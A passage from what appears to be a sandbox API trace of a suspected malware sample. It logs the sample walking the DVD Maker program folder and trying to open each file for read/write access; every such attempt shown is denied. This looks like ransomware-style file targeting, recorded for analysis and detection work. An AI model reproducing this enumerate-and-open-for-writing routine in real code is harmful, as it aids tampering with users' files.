(lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.830] GetLastError () returned 0x5 [0152.830] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0152.830] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.831] GetLastError () returned 0x5 [0152.831] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512ccbc0, ftCreationTime.dwHighDateTime=0x1d58b5c, ftLastAccessTime.dwLowDateTime=0x95f1be90, ftLastAccessTime.dwHighDateTime=0x1d55f9d, ftLastWriteTime.dwLowDateTime=0x95f1be90, ftLastWriteTime.dwHighDateTime=0x1d55f9d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0152.831] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0152.831] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.831] GetLastError () returned 0x5 [0152.831] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0152.831] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0152.832] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2b3e00, ftCreationTime.dwHighDateTime=0x1d5c23c, ftLastAccessTime.dwLowDateTime=0xb6e53f30, ftLastAccessTime.dwHighDateTime=0x1d5de43, ftLastWriteTime.dwLowDateTime=0xb6e53f30, ftLastWriteTime.dwHighDateTime=0x1d5de43, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="party_glory.exe", cAlternateFileName="PARTY_~1.EXE")) returned 1 [0152.832] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0152.832] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0152.832] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0152.832] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.833] GetLastError () returned 0x5 [0152.833] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0152.833] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.834] GetLastError () returned 0x5 [0152.834] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0152.834] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.834] GetLastError () returned 0x5 [0152.834] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1 [0152.834] GetProcessHeap () returned 0x2a0000 [0152.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x54) returned 0x2c22b0 [0152.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0152.837] GetProcessHeap () returned 0x2a0000 [0152.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.837] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.837] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0152.837] GetProcessHeap () returned 0x2a0000 [0152.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x256) returned 0x2c7ac8 [0152.837] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.837] GetLastError () returned 0x5 [0152.837] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0152.837] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.841] GetLastError () returned 0x5 [0152.841] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0152.841] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.841] GetLastError () returned 0x5 [0152.841] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0152.841] GetProcessHeap () returned 0x2a0000 [0152.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2c22b0 [0152.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.844] GetProcessHeap () returned 0x2a0000 [0152.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.845] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.845] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0152.845] GetProcessHeap () returned 0x2a0000 [0152.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26a) returned 0x2c7d28 [0152.845] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.846] GetLastError () returned 0x5 [0152.846] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.847] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.847] GetLastError () returned 0x5 [0152.847] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0152.847] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.848] GetLastError () returned 0x5 [0152.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0152.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.848] GetLastError () returned 0x5 [0152.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.848] GetLastError () returned 0x5 [0152.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0152.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.849] GetLastError () returned 0x5 [0152.849] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0152.849] GetProcessHeap () returned 0x2a0000 [0152.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x78) returned 0x2b9ae0 [0152.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.852] GetProcessHeap () returned 0x2a0000 [0152.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.852] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.852] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0152.852] GetProcessHeap () returned 0x2a0000 [0152.852] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27a) returned 0x2f32d0 [0152.852] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.852] GetLastError () returned 0x5 [0152.852] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0152.852] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.853] GetLastError () returned 0x5 [0152.853] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0152.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.854] 